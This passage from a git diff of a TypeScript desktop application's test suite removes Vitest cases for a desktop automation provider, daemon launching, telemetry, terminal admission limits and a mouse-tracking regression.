a/src/main/codex/config-toml-project-duplicate-repair.test.ts b/src/main/codex/config-toml-project-duplicate-repair.test.ts index 9feb59c0d9e..aaa7c57e955 100644 --- a/src/main/codex/config-toml-project-duplicate-repair.test.ts +++ b/src/main/codex/config-toml-project-duplicate-repair.test.ts @@ -172,11 +172,4 @@ describe('repairing configs broken by #22592', () => { expect(repairOrcaDuplicateTrustTables(broken)).toBe(broken) expect(warn).toHaveBeenCalledTimes(1) }) - - it('does not touch a valid config', () => { - const config = ['["projects"."/repo-f"]', '"trust_level" = "trusted"', ''].join('\n') - - expect(repairOrcaDuplicateTrustTables(config)).toBe(config) - expect(warn).not.toHaveBeenCalled() - }) }) diff --git a/src/main/computer/desktop-script-provider-action-errors.test.ts b/src/main/computer/desktop-script-provider-action-errors.test.ts index 318729f8031..3977857bda6 100644 --- a/src/main/computer/desktop-script-provider-action-errors.test.ts +++ b/src/main/computer/desktop-script-provider-action-errors.test.ts @@ -8,57 +8,12 @@ import { expectDesktopProviderSubprocessStartCount, mockBridgeResponse, resetDesktopScriptProviderTestHarness, - sampleBridgeSnapshot, sampleCapabilities } from './desktop-script-provider-test-harness' describe('DesktopScriptProviderClient action errors', () => { afterEach(resetDesktopScriptProviderTestHarness) - it('maps action-specific bridge errors to actionable codes', async () => { - mockBridgeResponse({ ok: false, error: 'element value is not settable' }) - mockBridgeResponse({ ok: false, error: 'Raise is not a valid secondary action' }) - mockBridgeResponse({ ok: false, error: 'text_input_incomplete: inspect state before retrying' }) - - const client = await createDesktopScriptProviderClient('linux', '/tmp/runtime.py') - - await expect(client.snapshot({ app: 'Text Editor' })).rejects.toMatchObject({ - code: 'value_not_settable' - }) - await expect(client.snapshot({ app: 'Text Editor' })).rejects.toMatchObject({ - code: 'action_not_supported' - }) - await expect(client.snapshot({ app: 'Text Editor' })).rejects.toMatchObject({ - code: 'action_timeout' - }) - }) - - it('maps native validation bridge errors to invalid arguments', async () => { - mockBridgeResponse({ ok: false, error: 'unsupported scroll direction: diagonal' }) - mockBridgeResponse({ ok: false, error: 'x is required' }) - mockBridgeResponse({ ok: false, error: 'text is required' }) - mockBridgeResponse({ ok: false, error: 'click_count must be a positive integer' }) - mockBridgeResponse({ ok: false, error: 'Unsupported key: Nope' }) - - const client = await createDesktopScriptProviderClient('windows', '/tmp/runtime.ps1') - - await expect(client.snapshot({ app: 'Text Editor' })).rejects.toMatchObject({ - code: 'invalid_argument' - }) - await expect(client.snapshot({ app: 'Text Editor' })).rejects.toMatchObject({ - code: 'invalid_argument' - }) - await expect(client.snapshot({ app: 'Text Editor' })).rejects.toMatchObject({ - code: 'invalid_argument' - }) - await expect(client.snapshot({ app: 'Text Editor' })).rejects.toMatchObject({ - code: 'invalid_argument' - }) - await expect(client.snapshot({ app: 'Text Editor' })).rejects.toMatchObject({ - code: 'invalid_argument' - }) - }) - it('does not confuse permission setup errors with invalid arguments', async () => { mockBridgeResponse({ ok: false, error: 'Accessibility permission is required' }) @@ -83,46 +38,6 @@ describe('DesktopScriptProviderClient action errors', () => { }) }) - it('maps keyboard focus bridge errors to window_not_focused', async () => { - mockBridgeResponse({ - ok: false, - error: - 'window_not_focused: keyboard input requires the target window to be focused; retry with --restore-window' - }) - - const client = await createDesktopScriptProviderClient('linux', '/tmp/runtime.py') - - await expect(client.snapshot({ app: 'Text Editor' })).rejects.toMatchObject({ - code: 'window_not_focused' - }) - }) - - it('maps bridge screenshot capture errors to screenshot_failed', async () => { - mockBridgeResponse({ - ok: false, - error: 'screenshot_failed: Screen Recording permission is required' - }) - - const client = await createDesktopScriptProviderClient('linux', '/tmp/runtime.py') - - await expect(client.snapshot({ app: 'Text Editor' })).rejects.toMatchObject({ - code: 'screenshot_failed' - }) - }) - - it('maps missing Linux keyboard dependencies to unsupported capability', async () => { - mockBridgeResponse({ - ok: false, - error: 'GDK is required for non-character key synthesis' - }) - - const client = await createDesktopScriptProviderClient('linux', '/tmp/runtime.py') - - await expect(client.snapshot({ app: 'Text Editor' })).rejects.toMatchObject({ - code: 'unsupported_capability' - }) - }) - it('rejects actions that the provider does not advertise', async () => { mockBridgeResponse({ ok: true, @@ -216,79 +131,4 @@ describe('DesktopScriptProviderClient action errors', () => { }) expectDesktopProviderSubprocessStartCount(0) }) - - it('rejects non-keyboard actions that the provider does not advertise', async () => { - mockBridgeResponse({ - ok: true, - snapshot: sampleBridgeSnapshot('Text Editor', 'initial') - }) - mockBridgeResponse({ - ok: true, - capabilities: sampleCapabilities({ - setValue: false - }) - }) - - const client = await createDesktopScriptProviderClient('linux', '/tmp/runtime.py') - - await client.snapshot({ app: 'Text Editor' }) - await expect( - client.action('setValue', { - app: 'Text Editor', - elementIndex: 0, - value: 'changed', - noScreenshot: true - }) - ).rejects.toMatchObject({ - code: 'unsupported_capability', - message: expect.stringContaining('actions.setValue') - }) - }) - - it('uses provider action metadata when bridge reports the actual path', async () => { - mockBridgeResponse({ - ok: true, - snapshot: sampleBridgeSnapshot('Text Editor', 'initial') - }) - mockBridgeResponse({ - ok: true, - capabilities: sampleCapabilities() - }) - mockBridgeResponse({ - ok: true, - action: { - path: 'accessibility', - actionName: 'Press', - fallbackReason: null - }, - snapshot: sampleBridgeSnapshot('Text Editor', 'changed') - }) - - const client = await createDesktopScriptProviderClient('linux', '/tmp/runtime.py') - - await client.snapshot({ app: 'Text Editor' }) - await expect( - client.action('click', { - app: 'Text Editor', - elementIndex: 0, - noScreenshot: true - }) - ).resolves.toMatchObject({ - action: { - path: 'accessibility', - actionName: 'Press' - } - }) - }) - - it('explains that missing element indexes require a fresh snapshot', async () => { - const client = await createDesktopScriptProviderClient('linux', '/tmp/runtime.py') - - await expect( - client.action('click', { app: 'Text Editor', elementIndex: 4 }) - ).rejects.toMatchObject({ - code: 'element_not_found', - message: expect.stringContaining('run get-app-state again') - }) - }) }) diff --git a/src/main/computer/desktop-script-provider-client.test.ts b/src/main/computer/desktop-script-provider-client.test.ts deleted file mode 100644 index 2bdefe5763d..00000000000 --- a/src/main/computer/desktop-script-provider-client.test.ts +++ /dev/null @@ -1,202 +0,0 @@ -import { afterEach, describe, expect, it } from 'vitest' -import { - createDesktopScriptProviderClient, - mockBridgeResponse, - publicSnapshotKeys, - resetDesktopScriptProviderTestHarness, - sampleBridgeSnapshot, - sampleCapabilities -} from './desktop-script-provider-test-harness' - -describe('DesktopScriptProviderClient snapshots', () => { - afterEach(resetDesktopScriptProviderTestHarness) - - it('normalizes list-apps responses', async () => { - mockBridgeResponse({ - ok: true, - apps: [{ name: 'Notepad', bundleIdentifier: 'notepad', pid: 42 }] - }) - - const client = await createDesktopScriptProviderClient('windows', '/tmp/runtime.ps1') - - await expect(client.listApps()).resolves.toEqual({ - apps: [ - { - name: 'Notepad', - bundleId: 'notepad', - pid: 42, - isRunning: true, - lastUsedAt: null, - useCount: null - } - ] - }) - }) - - it('normalizes snapshots and remembers elements for follow-up actions', async () => { - mockBridgeResponse({ - ok: true, - snapshot: sampleBridgeSnapshot('Text Editor', 'initial') - }) - mockBridgeResponse({ - ok: true, - capabilities: sampleCapabilities() - }) - mockBridgeResponse({ - ok: true, - snapshot: sampleBridgeSnapshot('Text Editor', 'changed') - }) - - const client = await createDesktopScriptProviderClient('linux', '/tmp/runtime.py') - - const initial = await client.snapshot({ app: 'Text Editor' }) - expect(initial.snapshot.elementCount).toBe(1) - expect(initial.snapshot.window).toMatchObject({ - title: 'Text Editor', - id: 99, - x: 10, - y: 20, - width: 300, - height: 200 - }) - expect(initial.screenshotStatus).toEqual({ - state: 'captured', - metadata: { engine: 'unknown', windowId: 99 } - }) - expect(initial.snapshot.treeText).toContain('initial') - expect(publicSnapshotKeys(initial.snapshot)).toEqual([ - 'app', - 'coordinateSpace', - 'elementCount', - 'focusedElementId', - 'id', - 'treeText', - 'truncation', - 'window' - ]) - - await client.action('setValue', { - app: 'Text Editor', - elementIndex: 0, - value: 'changed', - noScreenshot: true - }) - }) - - it('uses bridge screenshot dimensions when the native payload is downscaled', async () => { - mockBridgeResponse({ - ok: true, - snapshot: { - ...sampleBridgeSnapshot('Text Editor', 'initial'), - screenshotWidth: 150, - screenshotHeight: 100, - screenshotScale: 0.5 - } - }) - - const client = await createDesktopScriptProviderClient('linux', '/tmp/runtime.py') - - const result = await client.snapshot({ app: 'Text Editor' }) - - expect(result.screenshot).toEqual({ - data: 'iVBORw0KGgo=', - format: 'png', - width: 150, - height: 100, - scale: 0.5 - }) - expect(result.snapshot.window).toMatchObject({ - width: 300, - height: 200 - }) - }) - - it('preserves provider window indexes when the snapshot has no stable window id', async () => { - mockBridgeResponse({ - ok: true, - snapshot: { - ...sampleBridgeSnapshot('Text Editor', 'initial'), - windowId: null, - windowIndex: 3 - } - }) - - const client = await createDesktopScriptProviderClient('linux', '/tmp/runtime.py') - - const result = await client.snapshot({ app: 'Text Editor', windowIndex: 3 }) - - expect(result.snapshot.window).toMatchObject({ - id: null, - index: 3, - title: 'Text Editor' - }) - }) - - it('uses window indexes in fallback snapshot IDs for ID-less provider windows', async () => { - mockBridgeResponse({ - ok: true, - snapshot: { - ...sampleBridgeSnapshot('Text Editor', 'first'), - snapshotId: undefined, - windowId: null, - windowIndex: 1 - } - }) - mockBridgeResponse({ - ok: true, - snapshot: { - ...sampleBridgeSnapshot('Text Editor', 'second'), - snapshotId: undefined, - windowId: null, - windowIndex: 2 - } - }) - - const client = await createDesktopScriptProviderClient('linux', '/tmp/runtime.py') - - const first = await client.snapshot({ app: 'Text Editor', windowIndex: 1 }) - const second = await client.snapshot({ app: 'Text Editor', windowIndex: 2 }) - - expect(first.snapshot.id).toContain('window-index:1') - expect(second.snapshot.id).toContain('window-index:2') - expect(first.snapshot.id).not.toBe(second.snapshot.id) - }) - - it('adds target window index metadata for ID-less action results', async () => { - mockBridgeResponse({ - ok: true, - snapshot: { - ...sampleBridgeSnapshot('Text Editor', 'initial'), - windowId: null, - windowIndex: 3 - } - }) - mockBridgeResponse({ - ok: true, - capabilities: sampleCapabilities() - }) - mockBridgeResponse({ - ok: true, - snapshot: { - ...sampleBridgeSnapshot('Text Editor', 'changed'), - windowId: null, - windowIndex: 3 - } - }) - - const client = await createDesktopScriptProviderClient('linux', '/tmp/runtime.py') - - await client.snapshot({ app: 'Text Editor', windowIndex: 3 }) - const result = await client.action('click', { - app: 'Text Editor', - windowIndex: 3, - elementIndex: 0, - noScreenshot: true - }) - - expect(result.action).toMatchObject({ - targetWindowId: null, - targetWindowIndex: 3 - }) - }) -}) diff --git a/src/main/computer/desktop-script-provider-errors.test.ts b/src/main/computer/desktop-script-provider-errors.test.ts index c03449529fd..08e99ed99bb 100644 --- a/src/main/computer/desktop-script-provider-errors.test.ts +++ b/src/main/computer/desktop-script-provider-errors.test.ts @@ -3,120 +3,12 @@ import { createDesktopScriptProviderClient, expectDesktopProviderSubprocessStarted, mockDesktopProviderSubprocessThatIgnoresTimeout, - mockBridgeResponse, - resetDesktopScriptProviderTestHarness, - sampleBridgeSnapshot, - sampleCapabilities + resetDesktopScriptProviderTestHarness } from './desktop-script-provider-test-harness' describe('DesktopScriptProviderClient errors and capabilities', () => { afterEach(resetDesktopScriptProviderTestHarness) - it('explains screenshot capture failures while keeping accessibility state usable', async () => { - mockBridgeResponse({ - ok: true, - snapshot: { - ...sampleBridgeSnapshot('Text Editor', 'initial'), - screenshotPngBase64: null - } - }) - - const client = await createDesktopScriptProviderClient('linux', '/tmp/runtime.py') - - await expect(client.snapshot({ app: 'Text Editor' })).resolves.toMatchObject({ - snapshot: { - elementCount: 1 - }, - screenshotStatus: { - state: 'failed', - code: 'screenshot_failed', - message: expect.stringContaining('--no-screenshot') - } - }) - }) - - it('preserves desktop provider screenshot failure reasons', async () => { - mockBridgeResponse({ - ok: true, - snapshot: { - ...sampleBridgeSnapshot('Text Editor', 'initial'), - screenshotPngBase64: null, - screenshotError: { - code: 'screenshot_failed', - message: - 'screenshot exceeded the computer-use payload cap after downscaling; retry with --no-screenshot or target a smaller window' - } - } - }) - - const client = await createDesktopScriptProviderClient('linux', '/tmp/runtime.py') - - await expect(client.snapshot({ app: 'Text Editor' })).resolves.toMatchObject({ - snapshot: { - elementCount: 1 - }, - screenshotStatus: { - state: 'failed', - code: 'screenshot_failed', - message: expect.stringContaining('payload cap') - } - }) - }) - - it('normalizes list-windows responses after provider handshake', async () => { - mockBridgeResponse({ - ok: true, - capabilities: sampleCapabilities() - }) - mockBridgeResponse({ - ok: true, - app: { name: 'Text Editor', bundleIdentifier: 'Text Editor', pid: 100 }, - windows: [ - { - index: 0, - app: { name: 'Text Editor', bundleIdentifier: 'Text Editor', pid: 100 }, - id: 99, - title: 'Document', - x: 10, - y: 20, - width: 300, - height: 200, - isMinimized: false, - isOffscreen: false, - screenIndex: null, - platform: { backend: 'at-spi' } - } - ] - }) - - const client = await createDesktopScriptProviderClient('linux', '/tmp/runtime.py') - - await expect(client.listWindows({ app: 'Text Editor' })).resolves.toMatchObject({ - app: { name: 'Text Editor', bundleId: 'Text Editor', pid: 100 }, - windows: [{ index: 0, id: 99, title: 'Document' }] - }) - }) - - it('maps bridge app errors to RuntimeClientError codes', async () => { - mockBridgeResponse({ ok: false, error: 'appNotFound("Missing")' }) - - const client = await createDesktopScriptProviderClient('linux', '/tmp/runtime.py') - - await expect(client.snapshot({ app: 'Missing' })).rejects.toMatchObject({ - code: 'app_not_found' - }) - }) - - it('maps blocked app bridge errors to a policy error', async () => { - mockBridgeResponse({ ok: false, error: 'appBlocked("1Password")' }) - - const client = await createDesktopScriptProviderClient('windows', '/tmp/runtime.ps1') - - await expect(client.snapshot({ app: '1Password' })).rejects.toMatchObject({ - code: 'app_blocked' - }) - }) - it('rejects when the desktop provider subprocess ignores the exec timeout', async () => { vi.useFakeTimers() const kill = vi.fn() diff --git a/src/main/daemon/daemon-appimage-launch.test.ts b/src/main/daemon/daemon-appimage-launch.test.ts index fb9f715e4dc..1b364f7f390 100644 --- a/src/main/daemon/daemon-appimage-launch.test.ts +++ b/src/main/daemon/daemon-appimage-launch.test.ts @@ -21,21 +21,6 @@ const INPUT = { afterEach(() => resolveIdentity.mockReset()) describe('resolveAppImageDaemonLaunch', () => { - it('resolves paths relative to APPDIR on a FUSE-mounted AppImage', () => { - resolveIdentity.mockReturnValue({ appImagePath: '/apps/Orca.AppImage' }) - expect(resolveAppImageDaemonLaunch(INPUT)).toEqual({ - appImagePath: '/apps/Orca.AppImage', - entryPathInAppDir: 'resources/app.asar.unpacked/out/main/daemon-entry.js', - appPathInAppDir: 'resources/app.asar', - appVersion: '1.4.215' - }) - }) - - it('keeps the in-mount launch off a validated AppImage', () => { - resolveIdentity.mockReturnValue(null) - expect(resolveAppImageDaemonLaunch(INPUT)).toBeNull() - }) - it('keeps the in-mount launch for extract-and-run payloads', () => { resolveIdentity.mockReturnValue({ appImagePath: '/apps/Orca.AppImage' }) const extracted = `953 65 0:34 / /tmp rw - tmpfs tmpfs rw` diff --git a/src/main/daemon/daemon-audit-eligibility-event.test.ts b/src/main/daemon/daemon-audit-eligibility-event.test.ts index 68fd21af8dd..87834994a0e 100644 --- a/src/main/daemon/daemon-audit-eligibility-event.test.ts +++ b/src/main/daemon/daemon-audit-eligibility-event.test.ts @@ -43,26 +43,6 @@ beforeEach(() => { }) describe('daemon audit eligibility telemetry', () => { - it('uses a dedicated validator-accepted event family', () => { - trackDaemonAuditEligibility(recordAuthenticatedInventory(context, null)) - - expect(trackMock).toHaveBeenCalledOnce() - const [name, props] = trackMock.mock.calls[0] - expect(name).toBe('daemon_audit_eligibility') - expect(name).not.toBe('daemon_lifecycle') - expect(props).toMatchObject({ - state: 'present', - reason: 'authenticated_inventory', - evidence_sources: ['authenticated_inventory'], - protocol_generation: 23, - generation_role: 'legacy', - exact_incarnation: 'unavailable', - process_reason: null - }) - expect(props).not.toHaveProperty('exact_incarnation_correlation') - expect(validate('daemon_audit_eligibility', props).ok).toBe(true) - }) - it('correlates an exact incarnation across app trackers without raw identity fields', () => { const currentContext = { ...context, protocolGeneration: PROTOCOL_VERSION } const firstAppTracker = createDaemonAuditEligibilityTracker() @@ -105,20 +85,6 @@ describe('daemon audit eligibility telemetry', () => { } }) - it('does not mislabel a future protocol generation as legacy', () => { - const trackEligibility = createDaemonAuditEligibilityTracker() - - expect(() => - trackEligibility( - recordAuthenticatedInventory( - { ...context, protocolGeneration: PROTOCOL_VERSION + 1 }, - exactIncarnation - ) - ) - ).not.toThrow() - expect(trackMock).not.toHaveBeenCalled() - }) - it('cannot affect callers when telemetry throws', () => { trackMock.mockImplementation(() => { throw new Error('transport failed') diff --git a/src/main/daemon/daemon-automatic-work-resume.test.ts b/src/main/daemon/daemon-automatic-work-resume.test.ts index 57a70407799..4c208e0cab8 100644 --- a/src/main/daemon/daemon-automatic-work-resume.test.ts +++ b/src/main/daemon/daemon-automatic-work-resume.test.ts @@ -5,7 +5,7 @@ import { join } from 'node:path' import { afterEach, describe, expect, it, vi } from 'vitest' import { DaemonClient } from './client' import { createMockSubprocess } from './daemon-pty-adapter-test-harness' -import { DaemonPtyAdapter } from './daemon-pty-adapter' + import { DaemonServer } from './daemon-server' import { getDaemonSocketPath } from './daemon-spawner' @@ -99,35 +99,4 @@ describe('daemon automatic-work resume', () => { ) expect(readFileSync(markerPath, 'utf8')).toBe(markerBefore) }) - - it('tells a gate-bearing daemon from before resume apart from no gate', async () => { - vi.spyOn(DaemonClient.prototype, 'ensureConnected').mockResolvedValue() - vi.spyOn(DaemonClient.prototype, 'request').mockRejectedValue( - new Error('Unknown request type: resumeAutomaticWork') - ) - const adapter = new DaemonPtyAdapter({ - socketPath: '/tmp/orca-automatic-work-old.sock', - tokenPath: '/tmp/orca-automatic-work-old.token' - }) - try { - await expect(adapter.resumeAutomaticWork()).resolves.toBe('terminal-host-predates-resume') - await expect(adapter.getAutomaticWorkStatus()).resolves.toBeNull() - } finally { - adapter.dispose() - } - }) - - it('does not hide a real failure behind "no gate"', async () => { - vi.spyOn(DaemonClient.prototype, 'ensureConnected').mockResolvedValue() - vi.spyOn(DaemonClient.prototype, 'request').mockRejectedValue(new Error('socket closed')) - const adapter = new DaemonPtyAdapter({ - socketPath: '/tmp/orca-automatic-work-broken.sock', - tokenPath: '/tmp/orca-automatic-work-broken.token' - }) - try { - await expect(adapter.resumeAutomaticWork()).rejects.toThrow('socket closed') - } finally { - adapter.dispose() - } - }) }) diff --git a/src/main/daemon/daemon-file-log.test.ts b/src/main/daemon/daemon-file-log.test.ts index ab055af8e77..2b1bbcc3397 100644 --- a/src/main/daemon/daemon-file-log.test.ts +++ b/src/main/daemon/daemon-file-log.test.ts @@ -2,7 +2,7 @@ import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' import { existsSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs' import { tmpdir } from 'node:os' import { join } from 'node:path' -import { createDaemonFileLog, createNoopDaemonFileLog } from './daemon-file-log' +import { createDaemonFileLog } from './daemon-file-log' let dir: string @@ -99,13 +99,3 @@ describe('createDaemonFileLog', () => { expect(events).toEqual(['startup', 'daemon-log-closed']) }) }) - -describe('createNoopDaemonFileLog', () => { - it('accepts log/close calls without touching the filesystem', () => { - const log = createNoopDaemonFileLog() - expect(() => { - log.log('startup', { x: 1 }) - log.close() - }).not.toThrow() - }) -}) diff --git a/src/main/daemon/daemon-host-profile-isolation.test.ts b/src/main/daemon/daemon-host-profile-isolation.test.ts index 0abd44c2c16..be12ea4ae09 100644 --- a/src/main/daemon/daemon-host-profile-isolation.test.ts +++ b/src/main/daemon/daemon-host-profile-isolation.test.ts @@ -160,10 +160,4 @@ describe('daemon-host profile isolation under a shared LOCALAPPDATA', () => { expect(existsSync(join(legacyStaging, 'Orca.exe'))).toBe(true) expect(existsSync(join(legacyOld, 'Orca.exe'))).toBe(true) }) - - it('stays under userData when LOCALAPPDATA is unset', () => { - delete process.env.LOCALAPPDATA - useProfile(join(tempDir, 'profile-a')) - expect(getDaemonHostRootDir()).toBe(join(tempDir, 'profile-a', 'daemon-host')) - }) }) diff --git a/src/main/daemon/daemon-init-child-readiness.test.ts b/src/main/daemon/daemon-init-child-readiness.test.ts index e3bc3dd767d..f88389231dd 100644 --- a/src/main/daemon/daemon-init-child-readiness.test.ts +++ b/src/main/daemon/daemon-init-child-readiness.test.ts @@ -6,8 +6,7 @@ const { writeFileSyncMock, forkMock, checkDaemonHealthMock, - getProcessStartedAtMsMock, - launchedStartedAtMs, + spawnerInstances, importFresh, installDefaultNetConnectStub, @@ -118,46 +117,6 @@ describe('daemon-init: runRestartDaemon (7-step sequence)', () => { expect(launchArgs[launchNonceIndex + 1]).toMatch(/^[0-9a-f-]{36}$/) }) - it('leaves exclusive PID publication to the daemon child', async () => { - const mod = await importFresh() - checkDaemonHealthMock.mockResolvedValue('unreachable') - await mod.initDaemonPtyProvider() - - const launcher = spawnerInstances[0].launcher as ( - socketPath: string, - tokenPath: string - ) => Promise<{ shutdown(): Promise }> - const child = { - pid: 12345, - on(event: string, cb: (arg?: unknown) => void) { - if (event === 'message') { - queueMicrotask(() => cb({ type: 'ready', pid: 12345, startedAtMs: 1_000_000 })) - } - return this - }, - off: vi.fn(), - disconnect: vi.fn(), - unref: vi.fn() - } - forkMock.mockReturnValueOnce(child) - - await launcher('/fake/socket', '/fake/token') - - expect(writeFileSyncMock).not.toHaveBeenCalled() - expect(forkMock.mock.calls.at(-1)?.[1]).toEqual( - expect.arrayContaining([ - '--pid-record', - `/fake/daemon/daemon-v${PROTOCOL_VERSION}.pid`, - '--entry-path', - FAKE_DAEMON_ENTRY_PATH, - '--app-version', - '1.2.3', - '--spawner-exec-path', - process.execPath - ]) - ) - }) - it('destroys the daemon stderr pipe once the daemon signals ready', async () => { const mod = await importFresh() checkDaemonHealthMock.mockResolvedValue('unreachable') @@ -208,35 +167,4 @@ describe('daemon-init: runRestartDaemon (7-step sequence)', () => { expect(child.disconnect).toHaveBeenCalledOnce() expect(child.unref).toHaveBeenCalledOnce() }) - - it('accepts the daemon self-reported start time when the OS query returns null', async () => { - const mod = await importFresh() - await mod.initDaemonPtyProvider() - - const launcher = spawnerInstances[0].launcher as ( - socketPath: string, - tokenPath: string - ) => Promise<{ shutdown(): Promise }> - checkDaemonHealthMock.mockResolvedValueOnce('unreachable') - getProcessStartedAtMsMock.mockReturnValue(null) - launchedStartedAtMs.current = 1_700_000_123_456 - forkMock.mockImplementationOnce(() => ({ - pid: 12345, - on(event: string, cb: (arg?: unknown) => void) { - if (event === 'message') { - queueMicrotask(() => cb({ type: 'ready', pid: 12345, startedAtMs: 1_700_000_123_456 })) - } - return this - }, - off() { - return this - }, - disconnect: vi.fn(), - unref: vi.fn() - })) - - await launcher('/fake/socket', '/fake/token') - - expect(writeFileSyncMock).not.toHaveBeenCalled() - }) }) diff --git a/src/main/daemon/daemon-pty-adapter-wsl-quit-cwd.test.ts b/src/main/daemon/daemon-pty-adapter-wsl-quit-cwd.test.ts index 9dbf9aecc33..a1f4b7041b4 100644 --- a/src/main/daemon/daemon-pty-adapter-wsl-quit-cwd.test.ts +++ b/src/main/daemon/daemon-pty-adapter-wsl-quit-cwd.test.ts @@ -137,13 +137,4 @@ describe('a bridge WSL pane keeps its shell folder across quit', () => { expect(readRows.mock.calls[0]?.[1]).toBe(5) expect(checkpointCwd(id)).toBe(WSL_CWD) }) - - it('reads no distro for a pane that is not a WSL pane', async () => { - const app = launch() - await openBridgePane(app, 'repo::/repo@@windows', 'C:\\repo') - - await app.disconnectOnly() - - expect(readRows).not.toHaveBeenCalled() - }) }) diff --git a/src/main/daemon/daemon-terminal-limit.test.ts b/src/main/daemon/daemon-terminal-limit.test.ts index cb1b3620396..54f81136227 100644 --- a/src/main/daemon/daemon-terminal-limit.test.ts +++ b/src/main/daemon/daemon-terminal-limit.test.ts @@ -6,7 +6,7 @@ import { tmpdir } from 'node:os' import { join } from 'node:path' import { afterEach, expect, it, vi } from 'vitest' import { DaemonClient } from './client' -import { DaemonPtyAdapter } from './daemon-pty-adapter' + import { DaemonServer } from './daemon-server' import { getDaemonSocketPath } from './daemon-spawner' import { createMockSubprocess } from './daemon-pty-adapter-test-harness' @@ -83,24 +83,6 @@ it('reads and saves on the attached daemon socket, refusing stale identity and l expect(readFileSync(path, 'utf8')).toBe(saved) }) -it('recognizes an older daemon without replacement and preserves real transport failures', async () => { - vi.spyOn(DaemonClient.prototype, 'ensureConnected').mockResolvedValue() - const request = vi - .spyOn(DaemonClient.prototype, 'request') - .mockRejectedValue(new Error('Unknown request type: terminalLimitStatus')) - const adapter = new DaemonPtyAdapter({ - socketPath: '/tmp/orca-limit-old.sock', - tokenPath: '/tmp/orca-limit-old.token' - }) - try { - await expect(adapter.terminalLimit()).resolves.toBeNull() - request.mockRejectedValue(new Error('socket closed')) - await expect(adapter.terminalLimit()).rejects.toThrow('socket closed') - } finally { - adapter.dispose() - } -}) - it('fences an actual pending save when the server shuts down before replacement', async () => { directory = mkdtempSync(join(tmpdir(), 'terminal-limit-shutdown-')) const path = join(directory, 'policy', 'terminals.json') diff --git a/src/main/daemon/desktop-restore-admission.test.ts b/src/main/daemon/desktop-restore-admission.test.ts index f7feb7e1424..55b4ce2d7b6 100644 --- a/src/main/daemon/desktop-restore-admission.test.ts +++ b/src/main/daemon/desktop-restore-admission.test.ts @@ -8,10 +8,7 @@ import { DaemonAutomaticWorkGuard } from './daemon-automatic-work-guard' import { DaemonProcessGrowthMonitor } from './daemon-process-growth-monitor' import type { SubprocessHandle } from './session-subprocess-handle' import { TerminalHost, type TerminalHostOptions } from './terminal-host' -import { - resolveTerminalSpawnAdmissionMode, - TERMINAL_SPAWN_ADMISSION_ENV_VAR -} from './terminal-spawn-gate' +import { resolveTerminalSpawnAdmissionMode } from './terminal-spawn-gate' type SpawnSubprocess = TerminalHostOptions['spawnSubprocess'] @@ -105,19 +102,6 @@ describe('desktop restore admission', () => { }) } - it('enforces on desktop unless the rollback switch asks to observe', () => { - expect(resolveTerminalSpawnAdmissionMode({})).toBe('enforce') - expect( - resolveTerminalSpawnAdmissionMode({ [TERMINAL_SPAWN_ADMISSION_ENV_VAR]: 'enforce' }) - ).toBe('enforce') - expect(resolveTerminalSpawnAdmissionMode({ [TERMINAL_SPAWN_ADMISSION_ENV_VAR]: 'bogus' })).toBe( - 'enforce' - ) - expect( - resolveTerminalSpawnAdmissionMode({ [TERMINAL_SPAWN_ADMISSION_ENV_VAR]: ' Observe ' }) - ).toBe('observe') - }) - it('restores the visible pane at once, at most 8 hidden agents, and keeps the rest sleeping', async () => { startDesktopDaemon() const hidden = Array.from({ length: 19 }, (_, i) => diff --git a/src/main/daemon/pty-subprocess-git-credential-guard.test.ts b/src/main/daemon/pty-subprocess-git-credential-guard.test.ts index 698a8600469..d4b57d0cee9 100644 --- a/src/main/daemon/pty-subprocess-git-credential-guard.test.ts +++ b/src/main/daemon/pty-subprocess-git-credential-guard.test.ts @@ -195,24 +195,4 @@ describe('createPtySubprocess', () => { Object.assign(process.env, savedGitConfigEnv) } }) - - it('guards a trusted daemon agent whose launch command is wrapped', async () => { - const proc = mockPtyProcess() - spawnMock.mockReturnValue(proc) - - await createPtySubprocess({ - sessionId: 'trusted-wrapped-agent', - cols: 80, - rows: 24, - command: 'cd /repo && custom-agent-wrapper', - launchAgent: 'claude', - env: { SHELL: '/bin/bash' } - }) - - const spawnEnv = spawnMock.mock.calls.at(-1)?.[2]?.env as Record - expect(spawnEnv.GIT_TERMINAL_PROMPT).toBe('0') - expect(spawnEnv.GCM_INTERACTIVE).toBe('never') - expect(Object.values(spawnEnv)).toContain('credential.interactive') - expect(Object.values(spawnEnv)).toContain('credential.guiPrompt') - }) }) diff --git a/src/main/daemon/repro-12101-mouse-tracking-survives-agent-death.test.ts b/src/main/daemon/repro-12101-mouse-tracking-survives-agent-death.test.ts index 1d962cff90a..dd181577da5 100644 --- a/src/main/daemon/repro-12101-mouse-tracking-survives-agent-death.test.ts +++ b/src/main/daemon/repro-12101-mouse-tracking-survives-agent-death.test.ts @@ -21,8 +21,6 @@ import { POST_REPLAY_LIVE_AGENT_REATTACH_RESET } from '../../shared/terminal-mod const ANY_MOTION_TRACKING_ON = '\x1b[?1003h' const SGR_ENCODING_ON = '\x1b[?1006h' -const ANY_MOTION_TRACKING_OFF = '\x1b[?1003l' -const SGR_ENCODING_OFF = '\x1b[?1006l' function createFakeSubprocess(foregroundProcess: string) { let onData: ((data: string) => void) | null = null @@ -76,72 +74,6 @@ describe('#12101 mouse tracking survives the death of the process that armed it' vi.useRealTimers() }) - it('re-arms mouse reporting in the fresh shell that replaces a force-killed agent', async () => { - const manager = new HistoryManager(dir) - const reader = new HistoryReader(dir) - - const agentPty = createFakeSubprocess('claude') - const agent = new Session({ - sessionId, - cols: 80, - rows: 24, - subprocess: agentPty, - launchAgent: 'claude', - shellReadySupported: false - }) - agentPty.emit(`${ANY_MOTION_TRACKING_ON}${SGR_ENCODING_ON}`) - agentPty.emit('user@host ~ % claude\r\nclaude> analyzing...\r\nuser@host ~ $ ') - await waitForEmulatorParse(agent) - - const armed = agent.getSnapshot() - expect(armed?.modes.mouseTracking).toBe(true) - expect(armed?.modes.mouseTrackingMode).toBe('any') - expect(armed?.rehydrateSequences).toContain(ANY_MOTION_TRACKING_ON) - - // Persist the still-armed checkpoint before simulating agent death. - await manager.openSession(sessionId, { cwd: '/Users/dev/feature-branch', cols: 80, rows: 24 }) - await manager.checkpoint(sessionId, armed!) - - void new TerminalSessionTeardown(new Map([[sessionId, agent]])).killSession( - sessionId, - agent, - false - ) - agentPty.simulateKilledExit() - agent.dispose() - expect(killWithDescendantSweepMock).toHaveBeenCalled() - const teardownBytes = agentPty.written.join('') - 